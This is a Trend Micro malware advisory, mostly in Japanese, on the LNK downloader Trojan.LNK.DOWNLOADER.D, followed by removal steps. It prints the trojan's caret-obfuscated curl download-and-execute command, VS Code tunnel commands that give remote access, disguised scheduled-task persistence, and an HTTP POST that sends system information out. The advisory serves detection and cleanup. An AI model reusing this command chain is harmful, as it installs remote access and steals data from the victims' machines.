Trend Micro Security

Trojan.LNK.DOWNLOADER.D

2024年10月2日
 解析者: Neljorn Nathaniel Aguas   

 別名:

HEUR:Trojan.WinLNK.Agent.gen (KASPERSKY)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 2,044 bytes
タイプ LNK
発見日 2024年9月30日
ペイロード ファイルの作成, URLまたはIPアドレスに接続

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\python.zip
    • After extracting to %AppDataLocal%\Microsoft\Python:
      • _asyncio.pyd
      • _bz2.pyd
      • _ctypes.pyd
      • _decimal.pyd
      • _elementtree.pyd
      • _hashlib.pyd
      • _lzma.pyd
      • _msi.pyd
      • _multiprocessing.pyd
      • _overlapped.pyd
      • _queue.pyd
      • _socket.pyd
      • _sqlite3.pyd
      • _ssl.pyd
      • _uuid.pyd
      • _wmi.pyd
      • _zoneinfo.pyd
      • libcrypto-3.dll
      • libffi-8.dll
      • libssl-3.dll
      • LICENSE.txt
      • pyexpat.pyd
      • python.cat
      • python.exe
      • python.zip
      • python3.dll
      • python312._pth
      • python312.dll
      • python312.zip
      • pythonw.exe
      • select.pyd
      • sqlite3.dll
      • unicodedata.pyd
      • vcruntime140_1.dll
      • vcruntime140.dll
      • winsound.pyd

(註:%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local" です。)

マルウェアは、以下のプロセスを追加します。

  • "%System%\cmd.exe" /c start msg {Username} "安裝成功" & c^u^r^l -s -k https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip -o "%AppDataLocal%\Microsoft\python.zip" & timeout 10 & mkdir "%AppDataLocal%\Microsoft\Python" & tar -xf "%AppDataLocal%\Microsoft\python.zip" -C "%AppDataLocal%\Microsoft\Python" & c^u^r^l -s -k https://{BLOCKED}e.ee/r/DQjrd/0 -o "%AppDataLocal%\Microsoft\Python\update.py" & start "" /B "%AppDataLocal%\Microsoft\Python\pythonw.exe" "%AppDataLocal%\Microsoft\Python\update.py"

マルウェアは、以下のフォルダを作成します。

  • %AppDataLocal%\Microsoft\Python

(註:%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local" です。)

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • https://{BLOCKED}e.ee/r/DQjrd/0

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

  • https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %AppDataLocal%\Microsoft\python.zip → legitimate Python 3.12.5 x64 zip file
  • %AppDataLocal%\Microsoft\Python\update.py → malicious Python code

(註:%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local" です。)

その他

マルウェアは、以下を実行します。

  • It sends Windows message "安裝成功" translated to "Installation successful".
  • It downloads a legitimate 64-bit Python 3.12.5 embedded zip file and extracts its contents.
  • It downloads a malicious Python script file from a URL and executes using the extracted Python package.
  • It requires the following command line tools to proceed with its intended routine:
    • curl
    • tar
  • The executed Python code does the following:
    • It fetches running processes using tasklist command.
    • It connects to the following URL(s) to download its component file(s):
      • https://{BLOCKED}95.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
    • It saves the files it downloads using the following names:
      • %AppDataLocal%\Microsoft\vscode.zip → contains a file named code.exe
    • It adds the following folders:
      • %AppDataLocal%\Microsoft\VSCode
    • It extracts the zip file into the created folder with the following filename:
      • %AppDataLocal%\Microsoft\VSCode\code.exe
    • After extraction, it deletes the previously downloaded zip file.
    • It adds the following processes:
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe tunnel --accept-server-license-terms user logout"
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe --locale en-US tunnel --accept-server-license-terms --name "{Computer Name}"
        • Saves the output into the following files:
          • %AppDataLocal%\Microsoft\VSCode\output.txt
          • %AppDataLocal%\Microsoft\VSCode\output2.txt
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /st 08:00 /sc HOURLY /mo 4 /f
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
    • It retrieves the following information from the affected system:
      • System Locale
      • Computer Name
      • Username
      • User Domain
      • %Program Files% Contents
      • %ProgramData% Contents
      • %System Root%\Users Contents
    • It encodes the collected information into a Base64 format.
    • It sends the gathered information via HTTP POST to the following URL:
      • http://{BLOCKED}o.com/r/2yxp98b3/{Encoded Base64 String of Collected information}
    • It adds the following scheduled tasks:
      • If executed as user:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: One time at 8:00 AM on {Scheduled Task Create Time} → After triggered, repeat every 04:00:00 indefinitely.
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
      • If executed as an administrator:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: At log on of any user
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py


  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 19.624.03
初回 VSAPI パターンリリース日 2024年10月1日
VSAPI OPR パターンバージョン 19.625.00
VSAPI OPR パターンリリース日 2024年10月2日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 4

セーフモード時のスケジュールタスクの削除方法

  1. セーフモードのまま、以下の{タスク名}-{実行するタスク}のリストを使用し、以下のステップで確認する必要があります。
    • {Task Name} → MicrosoftHealthcareMonitorNode
    • {Task to be run} → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
  2. Windows 7 および Server 2008 (R2) をご使用の場合は、[スタート] > [コンピューター] をクリックします。
    • Windows 8、8.1、10、Server 2012をご使用の場合は、画面左下で右クリックし、「ファイルエクスプローラ」をクリックします。
  3. PCの検索欄に、次のように入力します。
    • System%\Tasks\{タスク名}
  4. ファイルを選択し、SHIFT+DELETEキーを押して削除します。
  5. レジストリエディタを開き、以下を実行してください。
    • Windows 7およびServer 2008(R2)をご使用の場合は、[スタート]ボタンをクリックし、[検索]入力フィールドに「regedit」と入力し、Enterキーを押します。
    • Windows 8、8.1、10、およびServer 2012(R2)をご使用の場合は、画面の左下隅を右クリックし、[実行]をクリックして、テキストボックスに「regedit」と入力します。
  6. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  7. 作成されたエントリを探し、レジストリ値のデータをメモする。
    • ID={タスクデータ}
  8. データを記録した後、レジストリキーを削除します。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  9. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. 左側のパネルで、手順6で配置したTask Dataと同じ名前のレジストリキーを探して削除します。
    • ={タスクデータ}
  11. レジストリエディタを閉じます。

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\Python\_asyncio.pyd
  • %AppDataLocal%\Microsoft\Python\_bz2.pyd
  • %AppDataLocal%\Microsoft\Python\_ctypes.pyd
  • %AppDataLocal%\Microsoft\Python\_decimal.pyd
  • %AppDataLocal%\Microsoft\Python\_elementtree.pyd
  • %AppDataLocal%\Microsoft\Python\_hashlib.pyd
  • %AppDataLocal%\Microsoft\Python\_lzma.pyd
  • %AppDataLocal%\Microsoft\Python\_msi.pyd
  • %AppDataLocal%\Microsoft\Python\_multiprocessing.pyd
  • %AppDataLocal%\Microsoft\Python\_overlapped.pyd
  • %AppDataLocal%\Microsoft\Python\_queue.pyd
  • %AppDataLocal%\Microsoft\Python\_socket.pyd
  • %AppDataLocal%\Microsoft\Python\_sqlite3.pyd
  • %AppDataLocal%\Microsoft\Python\_ssl.pyd
  • %AppDataLocal%\Microsoft\Python\_uuid.pyd
  • %AppDataLocal%\Microsoft\Python\_wmi.pyd
  • %AppDataLocal%\Microsoft\Python\_zoneinfo.pyd
  • %AppDataLocal%\Microsoft\Python\libcrypto-3.dll
  • %AppDataLocal%\Microsoft\Python\libffi-8.dll
  • %AppDataLocal%\Microsoft\Python\libssl-3.dll
  • %AppDataLocal%\Microsoft\Python\LICENSE.txt
  • %AppDataLocal%\Microsoft\Python\pyexpat.pyd
  • %AppDataLocal%\Microsoft\Python\python.cat
  • %AppDataLocal%\Microsoft\Python\python.exe
  • %AppDataLocal%\Microsoft\Python\python.zip
  • %AppDataLocal%\Microsoft\Python\python3.dll
  • %AppDataLocal%\Microsoft\Python\python312._pth
  • %AppDataLocal%\Microsoft\Python\python312.dll
  • %AppDataLocal%\Microsoft\Python\python312.zip
  • %AppDataLocal%\Microsoft\Python\pythonw.exe
  • %AppDataLocal%\Microsoft\Python\select.pyd
  • %AppDataLocal%\Microsoft\Python\sqlite3.dll
  • %AppDataLocal%\Microsoft\Python\unicodedata.pyd
  • %AppDataLocal%\Microsoft\Python\vcruntime140_1.dll
  • %AppDataLocal%\Microsoft\Python\vcruntime140.dll
  • %AppDataLocal%\Microsoft\Python\winsound.pyd
  • %AppDataLocal%\Microsoft\VSCode\code.exe
  • %AppDataLocal%\Microsoft\VSCode\output.txt
  • %AppDataLocal%\Microsoft\VSCode\output2.txt
  • %AppDataLocal%\Microsoft\python.zip
  • %AppDataLocal%\Microsoft\vscode.zip

手順 6

以下のフォルダを検索し削除します。

[ 詳細 ]
フォルダが隠しフォルダ属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %AppDataLocal%\Microsoft\Python
  • %AppDataLocal%\Microsoft\VSCode

手順 7

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Trojan.LNK.DOWNLOADER.D」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか? アンケートにご協力ください